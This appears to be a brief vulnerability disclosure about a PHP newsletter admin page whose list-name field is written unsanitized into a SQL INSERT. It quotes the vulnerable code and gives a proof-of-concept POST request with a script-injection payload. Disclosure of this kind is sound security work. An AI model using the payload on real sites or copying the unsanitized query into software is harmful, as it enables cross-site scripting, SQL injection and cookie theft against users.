There’s probably a lot more vulnerabilities in their web apps, but 
I could not even get them to work out of the box..

http://server/newsletter/admin/addlist.php
Look no sanitization:

8<-------snip---------8<

if(isset($_POST['submit'])) 
   {
     $list=$_POST['list'];
     if(strlen($list)<1)
     {
       print "You did not enter the name of the email list.";
     }
     else
     {
       $addemail="Insert into m_newsletters(newslettername) values('$list')";
       mysql_query($addemail) or die("Could not add list");
       print "List added.";

     }

POC POST request:
list=<script>alert('i could get your cookie')</script>&submit=submit
